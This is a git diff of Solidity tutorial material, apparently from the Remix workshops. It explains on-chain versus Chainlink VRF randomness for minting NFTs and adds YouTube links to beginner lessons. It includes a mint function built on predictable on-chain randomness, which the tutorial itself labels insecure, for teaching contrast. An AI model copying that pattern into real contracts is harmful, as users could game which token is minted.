Variables + +- `NFT` related + - `totalSupply`: Total supply of `NFT`. + - `ids`: Array used for calculating `tokenId`s that can be `minted`, see `pickRandomUniqueId()` function. + - `mintCount`: Number of NFTs that have been `minted`. +- `Chainlink VRF` related + - `keyHash`: Unique identifier for `VRF`. + - `fee`: `VRF` fee. + - `requestToSender`: Records the user address that applied for `VRF` for minting. + +```solidity + // NFT Related + uint256 public totalSupply = 100; // Total supply + uint256[100] public ids; // Used to calculate the tokenId that can be minted + uint256 public mintCount; // Number of minted tokens + // Chainlink VRF Related + bytes32 internal keyHash; // Key hash for Chainlink VRF + uint256 internal fee; // Fee for Chainlink VRF + // Records the mint address corresponding to the VRF request identifier + mapping(bytes32 => address) public requestToSender; +``` + +### Constructor +Initialize the relevant variables of the inherited `VRFConsumerBase` and `ERC721` contracts. + +``` +/** + * Using Chainlink VRF, the constructor needs to inherit from VRFConsumerBase + * Different chain parameters are filled differently + * Network: Rinkeby Testnet + * Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 +**/ +constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + ERC721("WTF Random", "WTF") +{ + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; + fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF usage fee, Rinkeby test network) +} +``` + +### Other Functions +In addition to the constructor function, the contract defines 5 other functions: + +- `pickRandomUniqueId()`: takes in a random number and returns a `tokenId` that can be used for minting. + +- `getRandomOnchain()`: returns an on-chain random number (insecure). + +- `mintRandomOnchain()`: mints an NFT using an on-chain random number, and calls `getRandomOnchain()` and `pickRandomUniqueId()`. + +- `mintRandomVRF()`: requests a random number from `Chainlink VRF` to mint an NFT. Since the logic for minting with a random number is in the callback function `fulfillRandomness()`, which is called by the `VRF` contract, not the user minting the NFT, the function here must use the `requestToSender` state variable to record the user address corresponding to the `VRF` request identifier. + +- `fulfillRandomness()`: the callback function for `VRF`, which is automatically called by the `VRF` contract after verifying the authenticity of the random number. It uses the returned off-chain random number to mint an NFT. + +```solidity + /** + * Input a uint256 number and return a tokenId that can be mint + * The algorithm process can be understood as: totalSupply empty cups (0-initialized ids) are lined up in a row, and a ball is placed next to each cup, numbered [0, totalSupply - 1]. + Every time a ball is randomly taken from the field (the ball may be next to the cup, which is the initial state; it may also be in the cup, indicating that the ball next to the cup has been taken away, then a new ball is placed from the end at this time into the cup) + Then put the last ball (still may be in the cup or next to the cup) into the cup of the removed ball, and loop totalSupply times. Compared with the traditional random arrangement, the gas for initializing ids[] is omitted. + */ + function pickRandomUniqueId( + uint256 random + ) private returns (uint256 tokenId) { + // Calculate the subtraction first, then calculate ++, pay attention to the difference between (a++, ++a) + uint256 len = totalSupply - mintCount++; // mint quantity + require(len > 0, "mint close"); // all tokenIds are mint finished + uint256 randomIndex = random % len; // get the random number on the chain + + // Take the modulus of the random number to get the tokenId as an array subscript, and record the value as len-1 at the same time. If the value obtained by taking the modulus already exists, then tokenId takes the value of the array subscript + tokenId = ids[randomIndex] != 0 ? ids[randomIndex] : randomIndex; // get tokenId + ids[randomIndex] = ids[len - 1] == 0 ? len - 1 : ids[len - 1]; // update ids list + ids[len - 1] = 0; // delete the last element, can return gas + } + + /** + * On-chain pseudo-random number generation + * keccak256(abi.encodePacked() fill in some global variables/custom variables on the chain + * Convert to uint256 type when returning + */ + function getRandomOnchain() public view returns (uint256) { + /* + * In this case, randomness on the chain only depends on block hash, caller address, and block time, + * If you want to improve the randomness, you can add some attributes such as nonce, etc., but it cannot fundamentally solve the security problem + */ + bytes32 randomBytes = keccak256( + abi.encodePacked( + blockhash(block.number - 1), + msg.sender, + block.timestamp + ) + ); + return uint256(randomBytes); + } + + // Use the pseudo-random number on the chain to cast NFT + function mintRandomOnchain() public { + uint256 _tokenId = pickRandomUniqueId(getRandomOnchain()); // Use the random number on the chain to generate tokenId + _mint(msg.sender, _tokenId); + } + + /** + * Call VRF to get random number and mintNFT + * To call the requestRandomness() function to obtain, the logic of consuming random numbers is written in the VRF callback function fulfillRandomness() + * Before calling, transfer LINK tokens to this contract + */ + function mintRandomVRF() public returns (bytes32 requestId) { + // Check the LINK balance in the contract + require( + LINK.balanceOf(address(this)) >= fee, + "Not enough LINK - fill contract with faucet" + ); + // Call requestRandomness to get a random number + requestId = requestRandomness(keyHash, fee); + requestToSender[requestId] = msg.sender; + return requestId; + } + + /** + * VRF callback function, called by VRF Coordinator + * The logic of consuming random numbers is written in this function + */ + function fulfillRandomness( + bytes32 requestId, + uint256 randomness + ) internal override { + address sender = requestToSender[requestId]; // Get minter user address from requestToSender + uint256 _tokenId = pickRandomUniqueId(randomness); // Use the random number returned by VRF to generate tokenId + _mint(sender, _tokenId); + } +``` + +## `remix` Verification + +### 1. Deploy the `Random` contract on the `Rinkeby` testnet +![Contract deployment](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-2.png) + +### 2. Get `LINK` and `ETH` on the `Rinkeby` testnet using `Chainlink` faucet +![Get LINK and ETH on the Rinkeby testnet](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-3.png) + +### 3. Transfer `LINK` tokens into the `Random` contract + +After the contract is deployed, copy the contract address, and transfer `LINK` to the contract address just as you would for a normal transfer. +![Transfer LINK tokens](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-4.png) + +### 4. Mint NFTs using on-chain random numbers + +In the `remix` interface, click on the orange function `mintRandomOnchain` on the left side![mintOnchain](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-5-1.png), then click confirm in the pop-up `Metamask` to start minting the transaction using on-chain random numbers. + +![Mint NFTs using onchain random numbers](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-5.png) + +### 5. Mint NFTs using `Chainlink VRF` off-chain random numbers + +Similarly, in the `remix` interface, click on the orange function `mintRandomVRF` on the left and click confirm in the pop-up little fox wallet. The transaction of minting an `NFT` using `Chainlink VRF` off-chain random number has started. + +Note: when using `VRF` to mint `NFT`, initiating the transaction and the success of minting is not in the same block. + +![Transaction start for VRF minting](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-6.png) +![Transaction success for VRF minting](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-7.png) + +### 6. Verify that the `NFT` has been minted + +From the above screenshots, it can be seen that in this example, the `NFT` with `tokenId=87` has been randomly minted on-chain, and the `NFT` with `tokenId=77` has been minted using `VRF`. + +## Conclusion + +Generating a random number in `Solidity` is not as straightforward as in other programming languages. In this tutorial, we introduced two methods of generating random numbers on-chain (using hash functions) and off-chain (`Chainlink` oracle), and used them to create an `NFT` with a randomly assigned `tokenId`. Both methods have their advantages and disadvantages: using on-chain random numbers is efficient but insecure while generating off-chain random numbers relies on third-party Oracle services, which is relatively safe but not as easy and economical. Project teams should choose the appropriate method according to their specific business needs. + +Apart from these methods, there are other organizations that are trying new ways of RNG (Random Number Generation), such as [randao](https://github.com/randao/randao), which proposes to provide an on-chain and true randomness service in a DAO pattern. diff --git a/SolidityBeginnerCourse/basic-syntax/basicSyntax.md b/SolidityBeginnerCourse/basic-syntax/basicSyntax.md index a67e4c10d..e8878c069 100644 --- a/SolidityBeginnerCourse/basic-syntax/basicSyntax.md +++ b/SolidityBeginnerCourse/basic-syntax/basicSyntax.md @@ -16,7 +16,9 @@ Don't worry if you didn't understand some concepts like *visibility*, *data type To help you understand the code, we will link in all following sections to video tutorials from the creator of the Solidity by Example contracts. -Watch a video tutorial on Basic Syntax. +Watch a video tutorial on Basic Syntax: + +![youtube](https://www.youtube.com/embed/g_t0Td4Kr6M) ## ⭐️ Assignment 1. Delete the HelloWorld contract and its content. diff --git a/SolidityBeginnerCourse/control-flow-if-else/ifElse.md b/SolidityBeginnerCourse/control-flow-if-else/ifElse.md index 36f11710d..8c6f9fa4f 100644 --- a/SolidityBeginnerCourse/control-flow-if-else/ifElse.md +++ b/SolidityBeginnerCourse/control-flow-if-else/ifElse.md @@ -17,7 +17,9 @@ With the `else if` statement we can combine several conditions. If the first condition (line 6) of the foo function is not met, but the condition of the `else if` statement (line 8) becomes true, the function returns `1`. -Watch a video tutorial on the If/Else statement. +Watch a video tutorial on the If/Else statement: + +![youtube](https://www.youtube.com/embed/Ld8bFWXLSfs) ## ⭐️ Assignment Create a new function called `evenCheck` in the `IfElse` contract: diff --git a/SolidityBeginnerCourse/control-flow-loops/loops.md b/SolidityBeginnerCourse/control-flow-loops/loops.md index 1dce5d1e6..adf2d6072 100644 --- a/SolidityBeginnerCourse/control-flow-loops/loops.md +++ b/SolidityBeginnerCourse/control-flow-loops/loops.md @@ -18,7 +18,9 @@ The `continue` statement is used to skip the remaining code block and start the ### break The `break` statement is used to exit a loop. In this contract, the break statement (line 14) will cause the for loop to be terminated after the sixth iteration. -Watch a video tutorial on Loop statements. +Watch a video tutorial on Loop statements: + +![youtube](https://www.youtube.com/embed/SB705OK3bUg) ## ⭐️ Assignment 1. Create a public `uint` state variable called count in the `Loop` contract. diff --git a/SolidityBeginnerCourse/data-structures-arrays/arrays.md b/SolidityBeginnerCourse/data-structures-arrays/arrays.md index bf7d113d0..7257e2441 100644 --- a/SolidityBeginnerCourse/data-structures-arrays/arrays.md +++ b/SolidityBeginnerCourse/data-structures-arrays/arrays.md @@ -30,7 +30,9 @@ If the order of the array is not important, then we can move the last element of ### Array length Using the length member, we can read the number of elements that are stored in an array (line 35). -Watch a video tutorial on Arrays. +Watch a video tutorial on Arrays: + +![youtube](https://www.youtube.com/embed/vTxxCbwMPwo) ## ⭐️ Assignment 1. Initialize a public fixed-sized array called `arr3` with the values 0, 1, 2. Make the size as small as possible. diff --git a/SolidityBeginnerCourse/data-structures-enums/enums.md b/SolidityBeginnerCourse/data-structures-enums/enums.md index 57fc65d1e..74b198356 100644 --- a/SolidityBeginnerCourse/data-structures-enums/enums.md +++ b/SolidityBeginnerCourse/data-structures-enums/enums.md @@ -20,7 +20,9 @@ We can update the enum value of a variable by assigning it the `uint` representi ### Removing an enum value We can use the delete operator to delete the enum value of the variable, which means as for arrays and mappings, to set the default value to 0. -Watch a video tutorial on Enums. +Watch a video tutorial on Enums: + +![youtube](https://www.youtube.com/embed/yJbx07N15j0) ## ⭐️ Assignment 1. Define an enum type called `Size` with the members `S`, `M`, and `L`. diff --git a/SolidityBeginnerCourse/data-structures-mappings/mappings.md b/SolidityBeginnerCourse/data-structures-mappings/mappings.md index 972b81445..dc6c6321f 100644 --- a/SolidityBeginnerCourse/data-structures-mappings/mappings.md +++ b/SolidityBeginnerCourse/data-structures-mappings/mappings.md @@ -24,7 +24,9 @@ We set a new value for a key by providing the mapping’s name and key in bracke ### Removing values We can use the delete operator to delete a value associated with a key, which will set it to the default value of 0. As we have seen in the arrays section. -Watch a video tutorial on Mappings. +Watch a video tutorial on Mappings: + +![youtube](https://www.youtube.com/embed/tO3vVMCOts8) ## ⭐️ Assignment 1. Create a public mapping `balances` that associates the key type `address` with the value type `uint`. diff --git a/SolidityBeginnerCourse/data-structures-structs/structs.md b/SolidityBeginnerCourse/data-structures-structs/structs.md index fee48c98a..c529717cb 100644 --- a/SolidityBeginnerCourse/data-structures-structs/structs.md +++ b/SolidityBeginnerCourse/data-structures-structs/structs.md @@ -18,7 +18,9 @@ To access a member of a struct we can use the dot operator (line 33). ### Updating structs To update a structs’ member we also use the dot operator and assign it a new value (lines 39 and 45). -Watch a video tutorial on Structs. +Watch a video tutorial on Structs: + +![youtube](https://www.youtube.com/embed/kYBHq7EmFBc) ## ⭐️ Assignment Create a function `remove` that takes a `uint` as a parameter and deletes a struct member with the given index in the `todos` mapping. \ No newline at end of file diff --git a/SolidityBeginnerCourse/functions-inputs-and-outputs/inputsAndOutputs.md b/SolidityBeginnerCourse/functions-inputs-and-outputs/inputsAndOutputs.md index 1ca367fea..149ad5011 100644 --- a/SolidityBeginnerCourse/functions-inputs-and-outputs/inputsAndOutputs.md +++ b/SolidityBeginnerCourse/functions-inputs-and-outputs/inputsAndOutputs.md @@ -27,7 +27,9 @@ Arrays can be used as parameters, as shown in the function `arrayInput` (line 71 You have to be cautious with arrays of arbitrary size because of their gas consumption. While a function using very large arrays as inputs might fail when the gas costs are too high, a function using a smaller array might still be able to execute. -Watch a video tutorial on Function Outputs. +Watch a video tutorial on Function Outputs: + +![youtube](https://www.youtube.com/embed/je7dWT6bEZM) ## ⭐️ Assignment Create a new function called `returnTwo` that returns the values `-2` and `true` without using a return statement. \ No newline at end of file diff --git a/SolidityBeginnerCourse/functions-modifiers-and-constructors/modifiersAndConstructors.md b/SolidityBeginnerCourse/functions-modifiers-and-constructors/modifiersAndConstructors.md index d78f318bb..5af6fb9f0 100644 --- a/SolidityBeginnerCourse/functions-modifiers-and-constructors/modifiersAndConstructors.md +++ b/SolidityBeginnerCourse/functions-modifiers-and-constructors/modifiersAndConstructors.md @@ -26,7 +26,9 @@ A constructor function is executed upon the creation of a contract. You can use You declare a constructor using the `constructor` keyword. The constructor in this contract (line 11) sets the initial value of the owner variable upon the creation of the contract. -Watch a video tutorial on Function Modifiers. +Watch a video tutorial on Function Modifiers: + +![youtube](https://www.youtube.com/embed/b6FBWsz7VaI) ## ⭐️ Assignment 1. Create a new function, `increaseX` in the contract. The function should take an input parameter of type `uint` and increase the value of the variable `x` by the value of the input parameter. diff --git a/SolidityBeginnerCourse/functions-reading-and-writing/readAndWrite.md b/SolidityBeginnerCourse/functions-reading-and-writing/readAndWrite.md index 4f8ce1ad4..cb2a071fd 100644 --- a/SolidityBeginnerCourse/functions-reading-and-writing/readAndWrite.md +++ b/SolidityBeginnerCourse/functions-reading-and-writing/readAndWrite.md @@ -14,7 +14,9 @@ You can then set the visibility of a function and declare them `view` or `pure` We will explore the particularities of Solidity functions in more detail in the following sections. -Watch a video tutorial on Functions. +Watch a video tutorial on Functions: + +![youtube](https://www.youtube.com/embed/Mm6834AAY00) ## ⭐️ Assignment 1. Create a public state variable called `b` that is of type `bool` and initialize it to `true`. diff --git a/SolidityBeginnerCourse/functions-view-and-pure/viewAndPure.md b/SolidityBeginnerCourse/functions-view-and-pure/viewAndPure.md index 9bf835831..1890c5033 100644 --- a/SolidityBeginnerCourse/functions-view-and-pure/viewAndPure.md +++ b/SolidityBeginnerCourse/functions-view-and-pure/viewAndPure.md @@ -33,7 +33,9 @@ You can declare a pure function using the keyword `pure`. In this contract, `add In Solidity development, you need to optimise your code for saving computation cost (gas cost). Declaring functions view and pure can save gas cost and make the code more readable and easier to maintain. Pure functions don't have any side effects and will always return the same result if you pass the same arguments. -Watch a video tutorial on View and Pure Functions. +Watch a video tutorial on View and Pure Functions: + +![youtube](https://www.youtube.com/embed/vOmXqJ4Qzbc) ## ⭐️ Assignment Create a function called `addToX2` that takes the parameter `y` and updates the state variable `x` with the sum of the parameter and the state variable `x`. \ No newline at end of file diff --git a/SolidityBeginnerCourse/primitive-data-types/primitiveDataTypes.md b/SolidityBeginnerCourse/primitive-data-types/primitiveDataTypes.md index 2c69327ad..20e651363 100644 --- a/SolidityBeginnerCourse/primitive-data-types/primitiveDataTypes.md +++ b/SolidityBeginnerCourse/primitive-data-types/primitiveDataTypes.md @@ -18,7 +18,9 @@ You can learn more about these data types as well as *Fixed Point Numbers*, *Byt Later in the course, we will look at data structures like **Mappings**, **Arrays**, **Enums**, and **Structs**. -Watch a video tutorial on Primitive Data Types. +Watch a video tutorial on Primitive Data Types: + +![youtube](https://www.youtube.com/embed/8Tj-Th_S7NU) ## ⭐️ Assignment 1. Create a new variable `newAddr` that is a `public` `address` and give it a value that is not the same as the available variable `addr`. diff --git a/SolidityBeginnerCourse/transactions-ether-and-wei/etherAndWei.md b/SolidityBeginnerCourse/transactions-ether-and-wei/etherAndWei.md index 074ff0c90..8aa86b596 100644 --- a/SolidityBeginnerCourse/transactions-ether-and-wei/etherAndWei.md +++ b/SolidityBeginnerCourse/transactions-ether-and-wei/etherAndWei.md @@ -12,7 +12,9 @@ One `gwei` (giga-wei) is equal to 1,000,000,000 (10^9) `wei`. #### `ether` One `ether` is equal to 1,000,000,000,000,000,000 (10^18) `wei` (line 11). -Watch a video tutorial on Ether and Wei. +Watch a video tutorial on Ether and Wei: + +![youtube](https://www.youtube.com/embed/ybPQsjssyNw) ## ⭐️ Assignment 1. Create a `public` `uint` called `oneGWei` and set it to 1 `gwei`. diff --git a/SolidityBeginnerCourse/transactions-gas-and-gas-price/gasAndGasPrice.md b/SolidityBeginnerCourse/transactions-gas-and-gas-price/gasAndGasPrice.md index 618fe8bdd..a2e570bb9 100644 --- a/SolidityBeginnerCourse/transactions-gas-and-gas-price/gasAndGasPrice.md +++ b/SolidityBeginnerCourse/transactions-gas-and-gas-price/gasAndGasPrice.md @@ -17,7 +17,9 @@ When sending a transaction, the sender specifies the maximum amount of gas that Learn more about *gas* on ethereum.org. -Watch a video tutorial on Gas and Gas Price. +Watch a video tutorial on Gas and Gas Price: + +![youtube](https://www.youtube.com/embed/oTS9uxU6cAM) ## ⭐️ Assignment Create a new `public` state variable in the `Gas` contract called `cost` of the type `uint`. Store the value of the gas cost for deploying the contract in the new variable, including the cost for the value you are storing. diff --git a/SolidityBeginnerCourse/transactions-sending-ether/sendingEther.md b/SolidityBeginnerCourse/transactions-sending-ether/sendingEther.md index ab56c8e69..1fef1d7e4 100644 --- a/SolidityBeginnerCourse/transactions-sending-ether/sendingEther.md +++ b/SolidityBeginnerCourse/transactions-sending-ether/sendingEther.md @@ -62,7 +62,9 @@ Solidity makes a distinction between two different flavors of the address data t If you change the parameter type for the functions `sendViaTransfer` and `sendViaSend` (line 33 and 38) from `payable address` to `address`, you won’t be able to use `transfer()` (line 35) or `send()` (line 41). -Watch a video tutorial on Sending Ether. +Watch a video tutorial on Sending Ether: + +![youtube](https://www.youtube.com/embed/_5vGaqgzlG8) ## ⭐️ Assignment Build a charity contract that receives Ether that can be withdrawn by a beneficiary. diff --git a/SolidityBeginnerCourse/variables/variables.md b/SolidityBeginnerCourse/variables/variables.md index b23393198..2f3706285 100644 --- a/SolidityBeginnerCourse/variables/variables.md +++ b/SolidityBeginnerCourse/variables/variables.md @@ -16,7 +16,11 @@ In this example, we use `block.timestamp` (line 14) to get a Unix timestamp of w A list of all Global Variables is available in the Solidity documentation. -Watch video tutorials on State Variables, Local Variables, and Global Variables. +Watch video tutorials on State Variables, Local Variables, and Global Variables: + +![youtube](https://www.youtube.com/embed/hl692-xJPUQ) +![youtube](https://www.youtube.com/embed/5Gxzwn0SQDU) +![youtube](https://www.youtube.com/embed/ryA86ZiSD-w) ## ⭐️ Assignment 1. Create a new public state variable called `blockNumber`. diff --git a/SolidityBeginnerCourse/visibility/visibility.md b/SolidityBeginnerCourse/visibility/visibility.md index 8cec719d1..bc3d9f89f 100644 --- a/SolidityBeginnerCourse/visibility/visibility.md +++ b/SolidityBeginnerCourse/visibility/visibility.md @@ -26,7 +26,9 @@ When you uncomment the `testPrivateFunc` (lines 58-60) you get an error because If you compile and deploy the two contracts, you will not be able to call the functions `privateFunc` and `internalFunc` directly. You will only be able to call them via `testPrivateFunc` and `testInternalFunc`. -Watch a video tutorial on Visibility. +Watch a video tutorial on Visibility: + +![youtube](https://www.youtube.com/embed/NBzQVJ6OrrQ) ## ⭐️ Assignment Create a new function in the `Child` contract called `testInternalVar` that returns the values of all state variables from the `Base` contract that are possible to return. \ No newline at end of file